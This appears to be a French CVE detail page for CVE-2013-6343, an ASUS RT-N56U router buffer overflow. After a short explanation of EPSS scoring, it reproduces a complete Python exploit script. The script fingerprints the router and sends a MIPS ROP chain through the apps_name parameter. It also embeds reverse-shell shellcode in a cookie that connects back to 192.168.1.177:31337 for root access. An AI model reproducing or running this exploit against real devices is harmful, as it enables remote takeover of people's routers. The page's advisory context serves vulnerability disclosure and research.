CVE-2013-6343 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#!/usr/bin/env python from time import sleep from sys import exit import urllib2, signal, struct, base64, socket, ssl # [*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name # [*] Discovered and Reported: October 2013 # [*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE # [*] Contact: Twitter - @rootHak42 # [*] Software Vendor: http://asus.com # [*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/ # [*] Software: httpd (Listens on TCP/80 and TCP/443) # [*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable) # [*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343 # # [*] Overview: # Multiple ASUS routers including the RT-N56U and RT-AC66U have the ability to install # supplemental applications. This install process is handled by the routers web server, # and is susceptible to multiple Buffer Overflow attacks. # # Vulnerable Web Page: APP_Installation.asp # Vulnerable HTML Parameters: apps_name, apps_flag # Vulneralbe Source File: web.c of httpd code # *Firmware versions prior to the tested version were vulnerable to this attack. # def fingerPrint(host, port, netSock): fprint = ["RT-N56U"] found = None print " [*] Preparing to fingerprint the server." try: print " [*] Connecting to %s on port %d." % (host, port) netSock.connect((host, port)) except Exception as error: print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error) exit(0) try: print " [*] Sending fingerprint request." netSock.send("HEAD / HTTP/1.1\r\n\r\n") netData = netSock.recv(1024) except Exception as error: print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error) exit(0) try: print " [*] Closing network socket.\n" netSock.close() except Exception as error: print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error) for item in fprint: if item in netData: print " [!!!] Target system found in signature list - Result: %s [!!!]\n" % item sleep(1) found = item if found == None: print " [!!!] Server banner doesn't match available targets. [!!!]\n" sleep(1) exit(0) else: return found def targURL(): while True: URL = raw_input("\n[*] Please enter the URL of the router. Ex. http://192.168.1.1\n>") if len(URL) != 0 and URL[0:7] == "http://" or URL[0:8] == "https://": return URL.lower() else: print "\n\n [!!!] Target URL cant be null and must contain http:// or https:// [!!!]\n" sleep(1) def creds(): while True: User = raw_input("\n[*] Please enter the username for the routers HTTP Basic Authentication:\n>") Pass = raw_input("\n[*] Please enter the password for the supplied username:\n>") if len(User) != 0: return User, Pass else: print "\n [!!!] Username cant be null [!!!]\n" sleep(1) def basicAuth(): auth = None while auth != "yes" and auth != "no": auth = raw_input("\n[*] Would you like to use HTTP Basic Authentication? \"yes\" or \"no\"\n>") if auth.lower() == "yes": print "\n\n[!!!] You chose to use HTTP Basic Authentication [!!!]\n" sleep(1) User, Pass = creds() return base64.encodestring("%s:%s" % (User, Pass)).replace("\n", "") elif auth.lower() == "no": print "\n\n[!!!] You chose not to use HTTP Basic Authentication. [!!!]\n" sleep(1) return 0 else: print "\n\n[!!!] Error: You entered %s. Please enter \"yes\" or \"no\"! [!!!]\n" % auth sleep(1) def sigHandle(signum, frm): # Signal handler print "\n\n[!!!] Cleaning up the exploit... [!!!]\n" sleep(1) exit(0) def main(): print """\n[*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name [*] Discovered and Reported: October 2013 [*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE [*] Contact: Twitter - @rootHak42 [*] Software Vendor: http://asus.com [*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/ [*] Software: httpd (Listens on TCP/80 and TCP/443) [*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable) [*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343\n""" signal.signal(signal.SIGINT, sigHandle) #Setting signal handler for ctrl + c target = targURL() try: print "\n [*] Creating network socket" netSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if target[0:5] == "https": host = target[8:] port = 443 print " [*] Preparing SSL/TLS support." https_netSock = ssl.wrap_socket(netSock) finger = fingerPrint(host, port, https_netSock) else: host = target[7:] port = 80 finger = fingerPrint(host, port, netSock) except Exception as error: print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error) exit(0) auth = basicAuth() junk = "\x42" * 109 link_nop = "2Aa3" #Base address of ld_uClibc and libc in httpd address space ld_uClibcBase = 0x2aaa8000 libcBaseAddr = 0x2ab5f000 #Rop Chain #<chown+68>: move v0,s0 -> sched_yield() #<chown+72>: lw ra,28(sp) -> Rop2 #<chown+76>: lw s0,24(sp) #<chown+80>: jr ra #<chown+84>: addiu sp,sp,32 saved_ra1 = struct.pack("<L", libcBaseAddr + 0x73f4) #<_dl_runtime_pltresolve+68>: lw ra,36(sp) -> Rop 3 #<_dl_runtime_pltresolve+72>: lw a0,16(sp) #<_dl_runtime_pltresolve+76>: lw a1,20(sp) #<_dl_runtime_pltresolve+80>: lw a2,24(sp) #<_dl_runtime_pltresolve+84>: lw a3,28(sp) #<_dl_runtime_pltresolve+88>: addiu sp,sp,40 #<_dl_runtime_pltresolve+92>: move t9,v0 #<_dl_runtime_pltresolve+96>: jr t9 -> jump sched_yield() #<_dl_runtime_pltresolve+100>: nop saved_ra2 = struct.pack("<L", ld_uClibcBase + 0x4e94) #<setrlimit64+144>: addiu a1,sp,24 -> ptr to stack #<setrlimit64+148>: lw gp,16(sp) #<setrlimit64+152>: lw ra,32(sp) -> Rop 4 #<setrlimit64+156>: jr ra -> jump Rop 4 #<setrlimit64+160>: addiu sp,sp,40 saved_ra3 = struct.pack("<L", libcBaseAddr + 0x9ce0) #move t9,a1 -> ptr to jalr sp on stack #addiu a0,a0,56 #jr t9 -> jump to stack #move a1,a2 saved_ra4 = struct.pack("<L", libcBaseAddr + 0x308fc) #sched_yield() sch_yield_s0 = struct.pack("<L", libcBaseAddr + 0x94b0) #Stage 1 Shellcode jalr_sp = "\x09\xf8\xa0\x03" #Stage 2 Shellcode (Stack Pivot) by Jacob Holcomb of ISE stg2_SC = "\x2c\x08\xbd\x27"# addiu sp, sp, 2092 stg2_SC += "\x09\xf8\xa0\x03"# jalr sp stg2_SC += "\x32\x41\x61"#filler for link (branch delay) #Stage 3 Shellcode #200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE #Connects on 192.168.1.177:31337 stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01" stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24" stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20" stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf" stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28" stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23" stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28" stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01" payload = junk + sch_yield_s0 + junk[0:12] + saved_ra1 + junk[0:32] payload += saved_ra2 + junk[0:36] + saved_ra3 + junk[0:24] + jalr_sp payload += link_nop + saved_ra4 + junk[0:4] + stg2_SC postData = "apps_action=install&apps_path=&apps_name=%s&apps_flag=sdb1" % payload try: print "\n [*] Preparing the malicious web request." httpRequest = urllib2.Request("%s/APP_Installation.asp" % target, data = postData) httpRequest.add_header("Cookie", "hwaddr=" + junk[0:35] + stg3_SC + "\x42" * (265 - len(stg3_SC))) if auth != 0: httpRequest.add_header("Authorization", "Basic %s" % auth) print " [*] Successfully built HTTP POST request." except Exception as error: print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error) exit(0) try: print """ [*] Preparing to send Evil PAYLoAd to %s on port %d!\n [*] Payload Length: %d [*] Waiting...""" % (host, port, len(payload)) sploit = urllib2.urlopen(httpRequest, None, 6) if sploit.getcode() == 200: print " [*] Server Response: HTTP 200 OK. Get ready 2 catch roOt on TCP/31337!" else: print " [*] Server Response: HTTP %d. Something went wrong!" % sploit.getcode() except(urllib2.URLError) as error: print "\n [!!!] Web request error! %s %s [!!!]\n\n" % (type(error), error) exit(0) except Exception as error: print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error) exit(0) finally: print " [*] %s exploit code has finished.\n" % finger if __name__ == "__main__": main()